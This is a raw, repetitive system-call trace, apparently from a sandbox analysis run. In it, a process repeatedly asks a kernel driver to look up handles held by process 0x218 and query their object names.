DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.811] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.811] PsAcquireProcessExitSynchronization () returned 0x0 [0093.811] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.811] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002916070, HandleInformation=0x0) returned 0x0 [0093.811] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.811] PsReleaseProcessExitSynchronization () returned 0x2 [0093.811] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.811] ObQueryNameString (in: Object=0xfffffa8002916070, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.811] ObfDereferenceObject (Object=0xfffffa8002916070) returned 0x2 [0093.811] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.811] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.811] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.811] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.811] PsAcquireProcessExitSynchronization () returned 0x0 [0093.811] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.811] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003303810, HandleInformation=0x0) returned 0x0 [0093.811] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.811] PsReleaseProcessExitSynchronization () returned 0x2 [0093.811] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.811] ObQueryNameString (in: Object=0xfffffa8002824e40, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.811] ObfDereferenceObject (Object=0xfffffa8003303810) returned 0x1 [0093.811] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.811] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.811] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0093.811] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.811] PsAcquireProcessExitSynchronization () returned 0x0 [0093.811] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.811] ObReferenceObjectByHandle (in: Handle=0x1e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003305c10, HandleInformation=0x0) returned 0x0 [0093.811] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.811] PsReleaseProcessExitSynchronization () returned 0x2 [0093.811] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.812] ObQueryNameString (in: Object=0xfffffa80032a3720, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.812] ObfDereferenceObject (Object=0xfffffa8003305c10) returned 0x1 [0093.812] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.812] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.812] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.812] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.812] PsAcquireProcessExitSynchronization () returned 0x0 [0093.812] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.812] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002471c80, HandleInformation=0x0) returned 0x0 [0093.812] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.812] PsReleaseProcessExitSynchronization () returned 0x2 [0093.812] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.812] ObQueryNameString (in: Object=0xfffffa8002471c80, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.812] ObfDereferenceObject (Object=0xfffffa8002471c80) returned 0x2 [0093.812] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.812] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.812] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.812] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.812] PsAcquireProcessExitSynchronization () returned 0x0 [0093.812] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.812] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003306f20, HandleInformation=0x0) returned 0x0 [0093.812] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.812] PsReleaseProcessExitSynchronization () returned 0x2 [0093.812] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.812] ObQueryNameString (in: Object=0xfffffa8003306f20, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.812] ObfDereferenceObject (Object=0xfffffa8003306f20) returned 0x1 [0093.812] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.812] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.812] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.813] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.813] PsAcquireProcessExitSynchronization () returned 0x0 [0093.813] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.813] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003305ac0, HandleInformation=0x0) returned 0x0 [0093.813] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.813] PsReleaseProcessExitSynchronization () returned 0x2 [0093.813] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.813] ObQueryNameString (in: Object=0xfffffa8003305ac0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.813] ObfDereferenceObject (Object=0xfffffa8003305ac0) returned 0x2 [0093.813] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.813] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.813] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.813] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.813] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.813] PsAcquireProcessExitSynchronization () returned 0x0 [0093.813] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.813] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003307560, HandleInformation=0x0) returned 0x0 [0093.813] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.813] PsReleaseProcessExitSynchronization () returned 0x2 [0093.813] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.813] ObQueryNameString (in: Object=0xfffffa8003307560, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.813] ObfDereferenceObject (Object=0xfffffa8003307560) returned 0x1 [0093.813] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.813] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.813] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.813] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.813] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.813] PsAcquireProcessExitSynchronization () returned 0x0 [0093.813] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.813] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80033192d0, HandleInformation=0x0) returned 0x0 [0093.813] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.813] PsReleaseProcessExitSynchronization () returned 0x2 [0093.813] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.813] ObQueryNameString (in: Object=0xfffffa80033192d0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.814] ObfDereferenceObject (Object=0xfffffa80033192d0) returned 0x1 [0093.814] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.814] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.814] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.814] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.814] PsAcquireProcessExitSynchronization () returned 0x0 [0093.814] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.814] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032ff070, HandleInformation=0x0) returned 0x0 [0093.814] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.814] PsReleaseProcessExitSynchronization () returned 0x2 [0093.814] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.814] ObQueryNameString (in: Object=0xfffffa80032ff070, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.814] ObfDereferenceObject (Object=0xfffffa80032ff070) returned 0x2 [0093.814] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.814] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.814] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.814] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.814] PsAcquireProcessExitSynchronization () returned 0x0 [0093.814] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.814] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f7abd0, HandleInformation=0x0) returned 0x0 [0093.814] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.814] PsReleaseProcessExitSynchronization () returned 0x2 [0093.814] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.814] ObQueryNameString (in: Object=0xfffffa8002f7abd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.814] ObfDereferenceObject (Object=0xfffffa8002f7abd0) returned 0x1 [0093.814] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.814] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.814] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.814] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.814] PsAcquireProcessExitSynchronization () returned 0x0 [0093.814] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.815] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.815] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.815] PsReleaseProcessExitSynchronization () returned 0x2 [0093.815] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.815] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.815] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.815] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.815] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.815] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.815] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.815] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.815] PsAcquireProcessExitSynchronization () returned 0x0 [0093.815] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.815] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.815] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.815] PsReleaseProcessExitSynchronization () returned 0x2 [0093.815] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.815] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.815] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.815] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.815] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.815] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.815] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0093.815] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.815] PsAcquireProcessExitSynchronization () returned 0x0 [0093.815] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.815] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003431070, HandleInformation=0x0) returned 0x0 [0093.815] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.815] PsReleaseProcessExitSynchronization () returned 0x2 [0093.815] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.815] ObQueryNameString (in: Object=0xfffffa8003431070, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.815] ObfDereferenceObject (Object=0xfffffa8003431070) returned 0x1 [0093.815] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.816] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.816] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.816] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0093.816] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.816] PsAcquireProcessExitSynchronization () returned 0x0 [0093.816] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.816] ObReferenceObjectByHandle (in: Handle=0x42c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800342da70, HandleInformation=0x0) returned 0x0 [0093.816] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.816] PsReleaseProcessExitSynchronization () returned 0x2 [0093.816] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.816] ObQueryNameString (in: Object=0xfffffa800342da70, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.816] ObfDereferenceObject (Object=0xfffffa800342da70) returned 0x2 [0093.816] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.816] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.816] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.816] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0093.816] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.816] PsAcquireProcessExitSynchronization () returned 0x0 [0093.816] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.816] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800352fd10, HandleInformation=0x0) returned 0x0 [0093.816] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.816] PsReleaseProcessExitSynchronization () returned 0x2 [0093.816] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.816] ObQueryNameString (in: Object=0xfffffa800352fd10, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.816] ObfDereferenceObject (Object=0xfffffa800352fd10) returned 0x1 [0093.816] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.816] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.816] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.816] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0093.816] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.816] PsAcquireProcessExitSynchronization () returned 0x0 [0093.816] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.816] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800352d3b0, HandleInformation=0x0) returned 0x0 [0093.817] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) 